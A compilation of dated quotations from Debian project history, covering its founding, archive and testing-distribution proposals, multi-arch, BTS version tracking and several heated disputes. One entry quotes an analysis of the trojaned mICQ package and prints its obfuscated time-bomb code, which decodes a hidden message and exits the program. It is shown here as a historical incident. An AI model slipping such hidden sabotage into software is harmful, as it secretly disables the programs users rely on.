Foundation of Debian:

This is just to announce the imminent completion of a brand-new Linux release, which I'm calling the Debian Linux Release.

—Ian Murdock, 1993-08-16

Proposal of the pool-based archive structure:

A long time ago […] I was on the verge of proposing a radical change in the way we handle versioning…

[…]

The general notion is that all package uploads go into a common pool. Scripts on the server routinely build a symlink tree that points to the most recent version of each package in the pool, which is the equivalent of the current ‘unstable’ tree. In fact, there could even be different flavors of instability, with different criteria used by the link tree builder to determine which versions to link to for each tree. Trees of symlinks are cheap.

—Bdale Garbee, 1998-05-29

The “testing” distribution proposal:

I made a relatively thorough proposal for a different approach to handling the migrate of a package from an unstable-by-definition upload to a released state a while back.

[…]

Any upload of a package is, by definition, “unstable” until proven otherwise.

Therefore, uploads should always go into the unstable tree.

The process by which a package is “promoted” from unstable through one or more stages until it becomes part of a stable release needs to involve consistency checking, testing, and enough time elapsed to allow confidence to build in the package.

The promotion criteria should include a guarantee that the release candidate never has dependency issues, never has a package version with a truly “release critical” bug known at the time of promotion, and so forth. Those characteristics will always be part of the unstable tree… but should only be part of the unstable tree!

—Bdale Garbee, 1999-01-05

The first multi-arch proposal:

I would love to see Debian adopt a solution that allows use of unmodified ia32 (i386 in Debian lingo) packages on ia64 systems… and which is general enough to handle the other multi-arch flavors we can anticipate.

[…]

Of course, doing this is a lot of work. Clearly, other distributions supporting ia64 have chosen to take more expedient paths. If there's a good hack I haven't thought of that won't make us all ill, I'd be pleased to consider it. I'm not thrilled by the path translation on the fly, but it is clearly an alternative we could consider, for example.

I intend for ia64 to be released stable with woody. I would love for the ia32 user space “problem” to be resolved cleanly by then, but I'm not expecting miracles. If I have to hack something interim while waiting for a general solution to be implemented, I can probably live with that.

—Bdale Garbee, 2001-06-04

Analysis of the trojaned mICQ package:

So, basically, what you're saying is that you uploaded a package to Debian that included some malicious and obfuscated code from upstream, that neither you nor your sponsor […] spotted. The code in question, for those playing along at home, is […]:

#if defined(__Dbn__) && __Dbn__ != -1 && !defined (EXTRAVERSION)
  if (me[0] != 'm' || me[1] != 'a' || me[2] != 'd' || me[3] != 'k' ||
      me[4] != 'i' || me[5] != 's' || me[6] != 's' || me[7])
  if (time (NULL) > 1045000000)
  {
      const char *parts[] = {
                    "\n\n\eX0282nZlv$qf#vpjmd#wkf#nJ@R#sb`hbdf#sqlujgfg#az",
                    "#Gfajbm-#Pjm`f#wkf#Gfajbm#nbjmwbjmfq#jp#f{wqfnfoz#",
                    "vm`llsfqbwjuf/#zlv$qf#bguj`fg#wl#vpf#wkf#afwwfq#rv",
                    "bojwz#sb`hbdf#eqln#nj`r-lqd-#Pjnsoz#bgg#wkf#eloolt",
                    "jmd#ojmf#wl#zlvq#,fw`,bsw,plvq`fp-ojpw#wl#wqb`h#pw",
                    "baof#ufqpjlmp#le#nJ@R9\eX3n\ngfa#kwws9,,ttt-nj`r-lqd",
                    ",gfajbm#pwbaof#nbjm\n\eX0282nWl#wqb`h#@UP#pmbspklwp/",
                    "#bgg9\eX3n\ngfa#kwws9,,ttt-nj`r-lqd,gfajbm#wfpwjmd#n",
                    "bjm\n\eX0282nPlvq`f#sb`hbdfp#nbz#af#qfwqjfufg#pjnjob",
                    "qoz-\eX3n\n\n                                        " };

      char buf[52];
      int i, j;

      for (i = 0; i < 10; i++)
      {
          for (j = 0; j < 50; j++)
              buf[j] = parts[i][j] > 30 ? parts[i][j] ^ 3 : parts[i][j];
          buf[j] = '\0';
          M_print (buf);
      }
      exit (99);
  }
#endif

—Anthony Towns, 2003-02-14

BTS version tracking announcement:

A frequently requested feature for the bug tracking system in recent years has been the ability to track which bugs apply to which distributions, so that, eg, maintainers and others can tell which bugs that have been fixed in unstable still apply to packages in testing or stable.

This has now been implemented.

It is quite a far-reaching change, and you will probably want to adjust the way you deal with the BTS as a consequence.

—Colin Watson, 2005-07-18

Debian X Strike Force member defending the decision to make the X server depend on HAL:

THIS IS NOT A FUCKING VOTE.

—Julien Cristau, 2009-04-15

Jörg Schilling's schilyutils REJECTed from the NEW queue:

[…] this reject is the conclusion of a long and very intricate relation between upstream and the FLOSS community. As the past has shown there is a lot of very heated discussions ongoing, sometimes downright to threats of law suits, and we fear that even your offer to act as proxy between the Debian project and upstream won't prevent discussions like happened in the past.

—Debian FTPMasters, 2010-02-24

Extreme anger about init system call-for-votes:

This unannounced CFV is an abuse of process. I am EXTREMELY ANGRY and I will sponsor any GR that seeks to overturn it.

—Ian Jackson, 2014-02-09